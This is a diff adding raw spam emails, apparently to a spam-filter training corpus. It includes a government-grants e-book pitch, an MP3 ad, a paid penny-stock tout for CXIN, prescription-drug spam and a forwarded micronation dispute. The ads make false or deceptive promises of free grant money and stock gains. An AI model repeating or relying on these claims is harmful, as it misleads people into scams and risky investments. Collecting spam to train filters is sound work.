    +In the Complete Guide to Government +Grants you'll find: +
    Step by step guidelines +to applying for government grants
    + +
    Direct access to over 1,400 +grant, loan and assistance programs offered by the U.S. federal government. +All you need to do is Click & Find your program from the detailed categorized +listings
    + +
    Direct access to thousands +of resources of state specific grant programs
    + +
    Name, phone number and address +of an expert in your state that will answer your grant related questions +and help you with the grant application... free of charge
    + +
    Online directory of government +supported venture capital firms
    + +
    A unique search tool that +will allow you to generate a customized listing of recently announced grant +programs
    + +
    Government funding programs +for small businesses
    + +
    Top 100 government programs +(based on number of inquiries), discover what are the most sought after +government grants and assistant programs. Claim your slice of the FREE +American Pie
    + +
    Online Directory of federal +and state resources for government scholarships and grants for education
    + +
    Step by step guidelines +to locating grants, loans and assistant programs for starting a new business +or expanding an existing one
    + +
    How to get free small business +counseling and expert advice courtesy of the US government
    + +
    Government grants application +forms
    + +
    Direct access to thousands +of government grants programs covering: small businesses, home improvement, +home buying and homeownership, land acquisition, site preparation for housing, +health, assistance and services for the unemployed, job training, federal +employment, education, and much much more
    + +
    How to develop and write +grant proposals that get results
    + +
    ...Plus much more
    +The Complete Guide to Government +Grants is so comprehensive, it provides you with direct access to practically +every source of FREE government grants money currently available. +
    If you're an American citizen +or resident, you are entitled to free grant money ranging from $500 to +$250,000 or more. If you are Black you have already qualified for 15 programs, +being Hispanic, you qualify for many programs. Being a Christian will get +you into 20 programs, there are also many other programs available for +different faiths, Jewish, Catholic. Not having any money, will get you +into over 30 programs, 550 programs if you are unemployed, or underemployed. +The list and sources are endless.
    + +
    You Are Eligible! This money +is Absolutely Free and will be yours to use for any worthwhile purpose.
    + +
    Did you know you can apply +for as many grants as you want?
    + +
    It's true, For instance, +you could get a $65,000 grant to begin a weight loss business, get $8,800 +in tuition to become a nurse or $35,000 to open up the day-care center, +you've always dreamed of owning. And then, go out and apply for a grant +to buy a home for you and your family. And once your new business starts +doing well you could go out and get another grant for expansion of your +business. The possibilities are endless.
    + + +
      +
    + + + +
    +

    +You Must Qualify +For At Least $25,000 In Free
    +Grants Money, Or Your Money Back!

    + +
    We are so confident in our +Grants Guide that If you have not received at least $25,000 in free grant +money, or, if you are unhappy with our e-book for any reason within the +next 12 months, Just send the e-book back and we will refund your entire +payment. NO QUESTIONS ASKED!!
    + +
    If you want to order, we +insist you do so entirely at our risk. That is why the E-book comes with +a... No Risk full year Money-Back Guarantee. There is absolutely +NO RISK on your part with this 365 day guarantee. What we mean is we want +you to order without feeling you might "get taken."
    + +
    Therefore, we want you to +order this material today... read it, use it... and if for any reason you +aren't completely satisfied, you not only can cancel, you should, +for an immediate refund of your purchase price. You simply can't lose.
    + +
    Free +Bonuses
    + +
    Just to "sweeten" the deal, +I'll include the following four valuable bonuses, that you can keep +as a gift, even if you later decide not to keep the Grants Guide!
    + +
    Free Bonus #1:
    + +
    A Fully Featured Grants +Writing Tutorial Software Package
    + +
    THIS INFO ALONE IS WORTH +THOUSANDS OF DOLLARS - I GUARANTEE YOU CAN PURCHASE A GRANTS CD OR INFO +ANYWHERE, AND YOU WILL NOT RECEIVE THIS DOWNLOADABLE SOFTWARE THAT ACTUALLY +SHOWS YOU HOW TO APPLY AND WHAT TO SAY, SO THAT YOU ARE ACCEPTED FOR A +GRANT !!!
    + +
    This interactive software +tool will walk you through the grant-writing process and will teach you +everything you need to know to write competitive grants proposals.
    + +
    The program includes:
    + +
      +
      detailed information and +tips on writing grants proposals;
      + +
      how to complete a grant +application package;
      + +
      examples of good, complete +grant packages;
      + +
      a glossary of grants terms;
      + +
      resources and contacts;
      + +
      a mock grants-writing activity +where you will be able to compare your results to a successful grant application
      + +
      plus much much more
      +
    + +
    Free Bonus #2:
    + +
    The Insider Information +Report: 61 Ways To Save Money
    + +
    This valuable special report +contains insider experts tips and techniques that will help you to save +thousands of Dollars. You'll discover little known secrets and tricks to +saving money on airline fares, car rental, new and used car buying, auto +leasing, gasoline, car repairs, auto insurance, life insurance, savings +and investment, credit cards, home equity loans, home purchase, major appliances, +home heating, telephone services, food purchase, prescription drugs and +more.
    + +
    Free Bonus #3:
    + +
    The Complete Guide To +Starting Your Own Business
    + +
    A +comprehensive manual that will give you all the guidelines and tools you +need to start and succeed in a business of your own, packed with guides, +forms, worksheets and checklists. You will be amazed at how simple these +strategies and concepts are and how easy it will be for you to apply them +to your own business idea. Hundreds were sold separately at $40 each... +you get it here for free.
    + +
    Here's +just a taste of what's in the guide:
    + +
    How +to determine the feasibility of your business idea. A complete fill in +the blanks template system that will help you predict problems before they +happen and keep you from losing your shirt on dog business ideas.
    + +
    A step by step explanation +of how to develop a business plan that will make bankers, prospective partners +and investors line up at your door. Plus, a complete ready made business +plan template you can easily adapt to your exact needs.
    + +
    Discover the easiest, simplest +ways to find new products for your business that people are anxious to +buy.
    + +
    How +to make money with your new idea or invention. Secrets of making sure you +put cash in your pocket on your very first idea business venture.
    + +
    Complete, step by step instructions +on how to plan and start a new business. This is must-know must-do information; +ignore it and you stand a good chance to fail. You get specifically designed +instructions for each of the following: a service business, a retail store, +a home based business, a manufacturing company, and more.
    + +
    What nobody ever told you +about raising venture capital money. Insider secrets of attracting investors, +how to best construct your proposal, common mistakes and traps to avoid, +and much more.
    + +
    Checklist +for entering into a partnership. Keeps you from costly mistakes when forming +a partnership.
    + +
    How to select a franchise +business. A step by step guide to selecting a franchise that is best for +you.
    + +
    A complete step-by-step +organized program for cutting costs in your business. Clients of mine have +achieved an average of 28% to 35% cost reduction with this technique, and +you can too. Keep the money in your pocket with this one!
    + +
    What are the secrets behind +constructing a results driven marketing plan? I will lead you step by step +into developing a marketing plan that will drive your sales through the +roof.
    + +
    A complete step by step +guide guaranteed to help you increase your profits by up to 64%, I call +it "The Profit Planning Guide". This is a simple, practical, common sense +strategy, but amazingly enough, almost no one understands or uses it.
    + +
    Free Bonus #4:
    + +
    Guide To Home Business +Success
    + +
    This +is a fast, no-frills guide +to starting and succeeding in a home based business. Here's just a taste +of what's in the guide:
    + +
    Home +business: is it for you?
    + +
    What +are the secrets behind the people who have million dollar home based businesses? +you'll find a 24 tip list proven to turn your home business into a money +machine.
    + +
    Laws and regulations you +must be aware of to avoid legal errors.
    + +
    Planning +a home based business - Insider secrets and tips revealed for ensuring +your success in a home business.
    + +
    Fundamentals +of home business financial planning.
    + +
    Simple, +easy to copy ideas that will enhance your image - and the response you +get from your customers.
    + +
    Common +problems in starting and managing a home based  business - and how +to solve them once and for all.
    +Who I Am and Why I'm Qualified +to Give +
    You The Best Grants Advice +Available +
    I'm +the president of a leading Internet based information business. I'm also +the creator of "The Managing a Small Business CD-ROM" and the author of +five books.
    + +
    I've +been involved in obtaining grants and in small business for the past 23 +years of my life, as a business coach, a manager of a consulting firm, +a seminar leader and as the owner of five successful businesses.
    + +
    During +my career as a business coach and consultant I've helped dozens of business +owners obtain government grants, start their businesses, market, expand, +get out of troubles, sell their businesses and do practically every other +small business activity you can think of.
    + +
    The +Guide presented here contains every tip, trick, technique and strategy +I've learned during my 23 year career. You practically get my whole brain +in a form of an E-book.
    +How the Grants Guide is priced? +
    The Complete Guide To +Government Grants is normally priced at $50, but...
    + +
    ... as part of an Online +marketing test, if you purchase from this sale you pay only $19.99 (that's +75% off ...plus, you still get the FREE valuable bonuses.)
    + +
    If +you are serious about obtaining free grants money, you need this +guide. Don't delay a moment longer. Order Now !!! 
    +P.S. The Complete Guide To Government +Grants will make a huge difference. You risk nothing. The guide is not +the original price of $50, but only $19.99 (if you purchase through +this sale ) and comes with a one year money back guarantee. And you +get four valuable free bonuses which you may keep regardless. Don't delay +a moment longer, ORDER NOW !!!! +
      + +

    Shipping +and Handling is FREE since we will +email you all of this info via access to our secure website which contains +everything described above. +
    +

    +
    +

     Order +Now!!!

    + +If above link doesn't work, Click Here +
    + +

    +
      + + +5945CoCw8-467cUcN8670ndsz7-l25 + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. 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Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01065.9ecef01b01ca912fa35453196b4dae4c b/bayes/spamham/spam_2/01065.9ecef01b01ca912fa35453196b4dae4c new file mode 100644 index 0000000..03252d3 --- /dev/null +++ b/bayes/spamham/spam_2/01065.9ecef01b01ca912fa35453196b4dae4c @@ -0,0 +1,56 @@ +From sitescooper-talk-admin@lists.sourceforge.net Thu Jul 25 13:07:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7E939440D0 + for ; Thu, 25 Jul 2002 08:07:21 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 13:07:21 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6PC3J428785 for ; Thu, 25 Jul 2002 13:03:19 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XhJl-0002DW-00; Thu, + 25 Jul 2002 05:02:05 -0700 +Received: from 200-207-44-182.dsl.telesp.net.br ([200.207.44.182] + helo=itxabdm) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 + #1 (Debian)) id 17XhJO-0004kn-00 for + ; Thu, 25 Jul 2002 05:01:43 -0700 +From: Alper NURdogan +To: +X-Mailer: Internet Mail Service (5.5.2650.21) +Content-Type: text/plain +Message-Id: hayjjrvykgrb@example.sourceforge.net +Subject: [scoop] Muzik iste +Sender: sitescooper-talk-admin@example.sourceforge.net +Errors-To: sitescooper-talk-admin@example.sourceforge.net +X-Beenthere: sitescooper-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion of sitescooper - see http://sitescooper.org/ + +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 25 Jul 2002 12:58:17 -0400 +Date: Thu, 25 Jul 2002 12:58:17 -0400 +X-MIME-Autoconverted: from base64 to 8bit by dogma.slashnull.org id + g6PC3J428785 +Content-Transfer-Encoding: 8bit + +JetMp3 Türkiye'de ilk kez uygulanan bir sistemi hayata geçirdi. +http://www.jetmp3.com +Bu sistemle artýk Ýstediðiniz MP3 leri ister tek tek isterseniz albümler halinde ve birkaç dakika içinde sanki disketten bilgisayarýnýza yükler gibi süratle indirebilirsiniz. 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    THE WALL STREET WEEKLY

    <= +/tr>

    Stock Pick of The Day: China Xin Network Media Corp.  (OTC BB:CXIN)

    = +
    = +
      
    OPINIO= +N:     BUY
    SYMBOL:    CXIN
    Industry:  Publishing
    Short Term Opinion: Outperform
    Long Term Opinion: Accumulate
    Recent Price:      $0.05
    12 Month Trading Range:$0.07 - $= +0.95
    Avg. Volume:  &= +nbsp;  47,940
    = +Approx. Float:   5 Million
    Insider & Institu= +tional Holdings:92% Shares
     &n= +bsp;

     

    " CXIN MEDIA CORPORATION, THE BLOOMBERG OF CHINA.&q= +uot; - Finance and Investment Magazine, December 2001

     

    THE COMPANY:

    CXIN Media Corporation is an integrated= + media company focusing on the dissemination and aggregation of informatio= +n. Currently, CXINs core business is in the publishing and aggregation of = +Financial, Economic, and Business Information on the Peoples Republic of C= +hina. The value CXIN Media provides is its ability to source, package, = +and present information that is highly in demand by the market.= +

    Apart from the core print and electr= +onic publishing business, CXIN is involved in other related businesses, su= +ch as organizing and managing events such as conferences, seminars, and tr= +aining in the field of wealth management and personal finance.

    These areas are closely linked to the cor= +e competencies of the company and they intend to leverage on the brands th= +at they have built to further drive the growth potential.

    CXIN holds the key to success in the Peoples Repub= +lic of China. In May of 2001 they acquired the 12 year exclusive right = +from the China Economic Information Network, a corporation under the direc= +t management of the State Information Center and the State Planning Develo= +pment Commission, Chinas highest economic decision body.

    = +HIGHLIGHTS:

    = +

    May 2001, CXIN acquires the 12 year Excl= +usive license to distribute all information in English, French and Spanish= +, Internationally.

    February 20= +02, CXIN announced its first distribution contract with a leading market r= +esearch provider.

    March 2002, = +CXIN announces it had signed with yet another distributor for its unique f= +inancial , economic and business information on the Peoples Republic of Ch= +ina. 

    May 7, 2002, CXIN a= +nnounces a distribution agreement with Internet Securities, a Euromarket c= +ompany and the leading provider of emerging market securities.

    May 9, 2002, CXIN announces it had= + hired one of Asias top media consulting firms, Telesis, and its President= +, Mr. Cyril Pereira, the former Director of Operation of the South China M= +orning Post and Asia Magazine.

    June 12, 2002, CXIN launched its China Business portal and began selling = +subscriptions.

    June 24, 2002, = +CXIN announces the acquisition of  Smart Investor Magazine and= + related business. This magazine will bring over $1.2 Million in consol= +idated revenues. 

    Jul= +y 15, 2002, CXIN announces the license agreement with Lexis-Nexis, one = +of the worlds largest aggregators.

    INVESTMENT CONSIDERATIONS:

    According to the reports from Morgan-Stanley, w= +hich analyzes the worlds superpowers in 11 industries, it only takes 8 yea= +rs to build a media empire, which means the return on investment in this i= +ndustry will be far greater than that of pharmaceutical, household merchan= +dise, energy, or even banking. We believe that CXIN Media is well position= +ed to become the next superpower of the media market in the fast growing C= +hinese market. The superior management and its exclusive agreement granted= + by the Chinese government provide the company with an "unfair advant= +age" over its potential competitors. We believe that the recent licen= +se agreements signed with some of the largest information providers in the= + world as well as the Smart Investor Magazines and related business will e= +nable the company to meet its revenue and profit expectation of $50 Millio= +n within the next 5 years and dependent on market condition for refinancin= +g, we foresee that CXIN Media could easily double their expected revenue a= +nd profits through strategic acquisitions. The current price of the shares= + do not reflect the value of this growth company, in comparison to the sec= +tor CXIN Media should be currently trading between $0.25 to $0.50 and abov= +e this value when we take into consideration the growth factors.

    Disclaimer: The Wall Street W= +eekly provides information on selected companies that it believes has inve= +stment potential. The Wall Street Weekly is not a registered investment ad= +visor or broker - dealer. This report is provided as an information servic= +e only, and the statements and opinions in this report should not be const= +rued as an offer or solicitation to buy or sell any security. The Wall Str= +eet Weekly accepts no liability for any loss arising from an investors rel= +iance on or use of this report. An investment in CXIN is considered to be = +highly speculative and should not be considered unless a person can afford= + a complete loss of investment. The Wall Street Weekly has been retained t= +o distribute this report on CXIN and has been paid six hundred dollars by = +a third party. This report involves forward looking statements, which invo= +lve risk, and uncertainties that may cause actual results to differ materi= +ally from those set forth in the forward - looking statements. For further= + details concerning these risks and uncertainties, see the SEC filings of = +CXIN including the companys most recent annual and quarterly reports.

    <= +font face=3DArial size=3D1 color=3D#5F5F5F>If you wish to no longer receiv= +e your FREE subscription or have received this report in error, please cli= +ck HERE.

    + + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01071.d9be48eb5a3359dd72dd7d0e9627fff3 b/bayes/spamham/spam_2/01071.d9be48eb5a3359dd72dd7d0e9627fff3 new file mode 100644 index 0000000..03b3c4e --- /dev/null +++ b/bayes/spamham/spam_2/01071.d9be48eb5a3359dd72dd7d0e9627fff3 @@ -0,0 +1,202 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6PIDmi5049922 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Thu, 25 Jul 2002 13:13:48 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6PIDmKU049918 + for cypherpunks-forward@ds.pro-ns.net; Thu, 25 Jul 2002 13:13:48 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6PIDji5049887 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Thu, 25 Jul 2002 13:13:47 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6PIDiJ96891 + for ; Thu, 25 Jul 2002 14:13:44 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6PIDh016892 + for cypherpunks@ds.pro-ns.net; Thu, 25 Jul 2002 14:13:43 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6PIDgR16873 + for ; Thu, 25 Jul 2002 14:13:42 -0400 +Received: from 209.6.190.206 (209-6-190-206.c3-0.wth-ubr2.sbo-wth.ma.cable.rcn.com [209.6.190.206]) + by locust.minder.net (8.11.6/8.11.6) with SMTP id g6PIDdJ96875 + for ; Thu, 25 Jul 2002 14:13:40 -0400 (EDT) + (envelope-from cp@web.com) +Message-Id: <200207251813.g6PIDdJ96875@locust.minder.net> +Received: from [46.224.35.15] by rly-xl04.mx.aol.com with smtp; Jul, 25 2002 11:08:36 AM -0300 +Received: from [159.218.252.32] by n7.groups.yahoo.com with SMTP; Jul, 25 2002 10:06:50 AM +1200 +Received: from unknown (52.127.142.42) by rly-xl04.mx.aol.com with smtp; Jul, 25 2002 8:45:41 AM -0700 +From: Your Order +To: cpunks@minder.net +Cc: +Subject: Re: Without a Perscription - VIAGRA / PHENTERMINE / PROPECIA / ZYBAN yotgy +Sender: Your Order +Mime-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Thu, 25 Jul 2002 11:15:05 -0700 +X-Mailer: Microsoft Outlook IMO Build 9.0.2416 (9.0.2910.0) +X-Priority: 1 +Content-Transfer-Encoding: quoted-printable +X-MIME-Autoconverted: from 8bit to quoted-printable by hq.pro-ns.net id g6PKJmi4099354 + + + + + + + + + + + + + + + + + + + + + + + + +
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Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01073.bfc8a301fd274efde213c0249d5a85b7 b/bayes/spamham/spam_2/01073.bfc8a301fd274efde213c0249d5a85b7 new file mode 100644 index 0000000..fe1d351 --- /dev/null +++ b/bayes/spamham/spam_2/01073.bfc8a301fd274efde213c0249d5a85b7 @@ -0,0 +1,122 @@ +From solution244@hotmail.com Thu Jul 25 23:46:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 90A5B440E7 + for ; Thu, 25 Jul 2002 18:46:21 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 23:46:21 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6PMlN403960 for + ; Thu, 25 Jul 2002 23:47:25 +0100 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6PMkLp24184 for + ; Thu, 25 Jul 2002 23:46:29 +0100 +Received: from t (24-193-24-219.nyc.rr.com [24.193.24.219]) by webnote.net + (8.9.3/8.9.3) with SMTP id XAA11067 for ; + Thu, 25 Jul 2002 23:46:12 +0100 +Message-Id: <200207252246.XAA11067@webnote.net> +From: "Theresa Brown" +To: +Subject: LOOK! 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I hold no responcibility for the +content of this message.=20 +=20 +Subject: EnenKio truth (Answers)=20 +Date: Sat, 13 Jul 2002 23:51 EST=20 +From: enenkio@webtv.net (Robert Moore)=20 +To:microfreedom@netscape.net=20 +"EnenKio truth (Answers)"=20 +- News Archives - +PREVIOUS NEWS RELEASES AND ANNOUNCEMENTS +July 28, 1999: Replies to Asia Times +July 22, 1999: News Release - Gold Bonds +June 4, 1999: Replies to Published Articles +June 3, 1999: Replies to Published Articles +June 2, 1999: Replies to Published Articles +June 1, 1999: News Release, Reply to RMI, Part 1 +June 1, 1999: News Release, Reply to RMI Part 2 +March 16, 1999: News Release, Selection of Second Monarch +March 1999 -- MoFA Comments on "State of War" +December 19, 1998: News Release, Death of First Monarch +July 14, 1998: Communiqu=C3=A9, Replies to False Claims +May 4, 1997: News Release, Gold Stamps +March 31, 1997: News Release, Declaration of existence of a virtual +"State of War" +February 6, 1995: News Release, Setting the Record Straight +November 21, 1994: News Release, Declaration of Claim & Demand for +Payment +RETURN TO NEWS +Previous News Releases and Announcements +Their statements are set forth in italicized orange type; our replies +are in black type. +June 4, 1999- Sirs: The following text was located on a site written or +placed by you or under your control: +"DOM is located on Karitane Island and now includes the Taongi Atoll in +the Northern Atolls of the Marshall Islands in the South Pacific 1000 +miles south of Tahiti. However, the Marshall Islands government has +condemned the "fraudulent assertions" of two organizations, namely the +DOM and sister nation, the Kingdom of EnenKio (the Marshallese name for +Wake Island), claiming to represent the mid-Pacific nation amid an +alleged investment scam according to an article in Agence France- +Presse. The Marshall Islands foreign ministry has issued warnings to +countries against acknowledging any fraudulent claims made by +representatives of either nation." +"A Honolulu-based attorney created the "Kingdom of EnenKio" in the early +1990s. It was based on a power of attorney agreement with Marshall +Islands paramount chief Mursel Hermios, which granted the attorney broad +powers to act on his behalf. The Marshall Islands High Court has ruled +the agreement invalid and ordered it nullified, which the "kingdom" has +disputed." http://www.goldhaven.com/issue4/Two.htm (disconnected as of +2/1/00) +The purpose of this letter is lodge a formal request for correction of +false and misleading statements made by the author regarding the Kingdom +of EnenKio. While I am pleased to find you have apparently taken a +serious interest in the Kingdom of EnenKio, I am aghast at how +distorted, erroneous and misleading the article is. As a consequence of +my service to His Majesty King Remios and the people of EnenKio, I am +obligated to respond to incidents such as this. I will respectfully +offer the following line by line correction. For your convenience, your +text will be set off (with "**") in color: +**DOM is located on Karitane Island and now includes the Taongi Atoll in +the Northern Atolls of the Marshall Islands in the South Pacific 1000 +miles south of Tahiti.** +(Comment: The construction of this statement implies the Marshall +Islands are in the South Pacific Ocean 1000 miles south of Tahiti, in +which case a reader may be misled.) +Correction: DOM is located on Karitane Island in the South Pacific, 1000 +miles south of Tahiti, and now includes Taongi Atoll in the Northern +Atolls of the Marshall Islands in the North Pacific. +**However, the Marshall Islands government has condemned the "fraudulent +assertions" of two organizations, ...** +(Comment: Just because the RMI government "...has condemned the +'fraudulent assertions' ...of ...EnenKio...", does that make it true? +Why would you want to quote anything from a government that has been +internationally criticized [and documented] time and again for fraud, +abuse of human rights, outright theft and is in default on almost every +financial obligation it has ever made? What purpose do you propose to +serve by attacking a concerned group of dedicated people fighting for +the very lives of Marshallese natives who have been overrun by foreign +invaders, bathed in radiation from nuclear fallout and abused by their +own corrupt government?) +**...namely the DOM and sister nation, the Kingdom of EnenKio (the +Marshallese name for Wake Island),...** +(Comment: Nothing could be further from the truth. we cannot speak for +DOM, but as for the Kingdom, we don't even know what being a "sister +nation" means and for you to make this categorically false statement is +not only a blatant sign of ignorance of the state of EnenKio, it is a +deceptive intrusion upon the sovereign, His Majesty King Remios, the +sovereign of EnenKio and Eneen-Kio Atoll, and an inexplicable and +irresponsible abuse of journalism. Doesn't anybody check sources +anymore?) +Correction: The Kingdom of EnenKio is an independent sovereign state and +the same could be said for DOM. +**...claiming to represent the mid-Pacific nation amid an alleged +investment scam according to an article in Agence France- Presse.** +(Comment: The government of the Kingdom of EnenKio represents the people +of EnenKio, who are forced to live in exile from Eneen-Kio Atoll, lands +and seas that played a significant role in Marshallese culture for +perhaps 2000 years. Furthermore, "...an article in Agence France-Presse" +has no merit as it was authored by a source in the Marshall Islands +government. My preceding comments apply. The Kingdom of EnenKio is not +now and never has been engaged in an "...investment scam...". We have +tried for many years to attract qualified investors and funding sources +for programs that will not only benefit the people of EnenKio, but also +will positively impact people around the globe. In fact, we are +currently working with a former NASA Astronaut. One tool scammers have +in their arsenal is to discredit visionary programs of legitimate +entities so they can feed on carcasses of the ignorant. Many journalists +use the same technique to sell their stories on sensationalism. Doesn't +anybody check sources anymore?) +**The Marshall Islands foreign ministry has issued warnings to countries +against acknowledging any fraudulent claims made by representatives of +either nation.** +(Comment: The Kingdom of EnenKio has made no "fraudulent claims" of +which I am aware, and in my post, I am responsible for all published +information. I would personally caution any "..countries against +acknowledging any fraudulent claims made by representatives of..." +nations, companies or publications if I had credible proof to that +effect. However, my preceding comments apply as to credibility of any +RMI ministry source. Furthermore, the RMI has repeatedly attacked the +credibility of His Majesty King Hermios, who happens to be the ancestral +sovereign owner under Marshallese custom of over 1/3 of the land in the +Marshall Islands, including recent attempts to sequester him against his +will. We believe some officials in the RMI are afraid of what will +happen to them if honesty and integrity returns to the administration of +lands and programs to assist the people with their pressing needs and +they no longer have their hands on the till. To perpetrate their +jaundiced agenda is an irresponsible abuse of journalism.) +**A Honolulu-based attorney created the "Kingdom of EnenKio" in the +early 1990s.** +(Comment: Mr. Moore is not an Attorney, though he was living in Honolulu +in the early 1990s.) +Correction: The Kingdom of EnenKio was established by decree of the +owner of Eneen-Kio Atoll [a.k.a. Enen-kio, Halcyon, Disclerta, Wake and +6-8 other names], Iroijlaplap Murjel Hermios, who then was Paramount +Chief of the Northern Ratak atolls [he passed away in December 1998] and +was fully recognized by the RMI government. He declared the sovereign +state of EnenKio in 1994, whereupon the people chose him as their King +over Eneen-Kio Atoll, ratified the Constitution and established +government as a limited constitutional monarchy. +**It was based on a power of attorney agreement with Marshall Islands +paramount chief Mursel (sic) Hermios, which granted the attorney broad +powers to act on his behalf.** +Correction: The establishment of the Kingdom of EnenKio was made +possible by Murjel's appointment of Mr. Robert Moore, the adopted +brother of Hermios, Alab of Taongi Atoll and a private citizen, to the +post of Minister Plenipotentiary. The document of appointment was also a +Special Power of Attorney which granted Mr. Moore very specific +instructions to do whatever was possible to expel the United States from +Eneen-Kio Atoll and establish an independent state on Hermios' and the +people's behalf. +**The Marshall Islands High Court has ruled the agreement invalid and +ordered it nullified, which the "kingdom" has disputed.** +(Comment: Since when is a Special Power of Attorney an "agreement"? The +Marshall Islands High Court has no record or knowledge of the Special +Power of Attorney, except as has been publicized by the Kingdom of +EnenKio, and certainly exercises no jurisdiction over Eneen-Kio Atoll, +which lies over 100 miles north of lawful RMI boundaries. The RMI has no +political or territorial jurisdiction over the islands and seas of +Eneen-Kio Atoll because the atoll, by any name you choose, was not +incorporated into the RMI when it formed its government in 1979, nor was +it subsequently incorporated by any act, law, mandate or otherwise of +any present or former Iroijlaplap or Monarch of Eneen-Kio and any +statement to the contrary is false, fraudulent and irresponsible.) +Finally, I suggest you, as a journalist or publisher, do a little more +research, not only into establishment and development of the Kingdom of +EnenKio, but into the prehistoric history and more recent U.S. invasion +of Eneen-Kio Atoll, properly named by 'Marshallese' centuries before +arrival of colonial western powers and missionaries. Then I invite you +to our Embassy in Honolulu to review the public files and documents +mentioned above, all of which exist in hard copy (not in 'cyberspace') +and most of which are referenced or published at our official web site. +Be sure to view the documents at our Resource Center which show, in many +cases, full-color digitized letters of correspondence with the 59 or so +states in the world, many of which are first world. In closing, I would +simply appeal to your presumed sense of morality and ethics and request +the referenced article be amended or corrected and , if corrected +elsewhere, that a link be provided to the relevant paragraph cited above +in the article. +SKIP TO NEXT FILE =A0TOP OF PAGE +June 3, 1999- Sir: The following report was sent to me in which the +author mentions the Kingdom of EnenKio (thank you for spelling 'EnenKio' +correctly. The purpose of this letter below is to lodge a formal request +for correction of false and misleading statements made by the author +regarding the Kingdom of EnenKio. +"Fantasy Island" -- "Melchizedek passport scam reveals how the Internet +can take fraud to new frontiers" By Bertil Lintner in Bangkok, December +10, 1998: "Determined not to give up, Pedley moved his fictional nation +once again, this time to Taongi atoll in the Western Pacific. According +to a Melchizedek press release, posted on its home page, Taongi was +leased in 1997 under a treaty with representatives of "the kingdom of +EnenKio," another only-in- cyberspace country, which in this case claims +the U.S.-held Wake Island. In real life, Taongi is an uninhabited atoll +in the Marshall Islands." +http://www.feer.com/Restricted/index_corrections.html (link to article +of December 24, 1998: "Fantasy Island", disconnected as of 2/1/00) +Response to the author: I am unable to locate the "Melchizedek press +release" you cited, indicating that "...Taongi was leased in 1997 under +a treaty with representatives of "the kingdom of EnenKio,...". Such an +act would be impossible and implausible as EnenKio has no legal +authority or political jurisdiction over Taongi Atoll in the Marshall +Islands. Further more, Melchizedek (DOM) is not so uninformed as to +publicly advertise an illegal act in the midst of attempting to find a +suitable land base for its people to administer their form of +government. +The Kingdom of EnenKio did enter into a treaty with DOM on the 19th day +of September, 1997, but it did not convey a lease of land. It declared a +state of peace and established diplomatic recognition between our +governments. However, a prior agreement, signed in May 1997, which had +nothing to do with the Kingdom of EnenKio, transferred Mr. Robert +Moore's rights to develop Taongi from Mr. Moore to DOM. It did not +convey a lease at that time and no such document is in existence. +This was made possible because Mr. Moore is the Alab (one class of +landowner) of Taongi and had a legal power of attorney pertaining to +Taongi Atoll, from the principal landowner, Iroijlaplap (Paramount +Chief) Murjel Hermios, who was aware of and supported the transaction. +Consideration, if any, under the agreement was 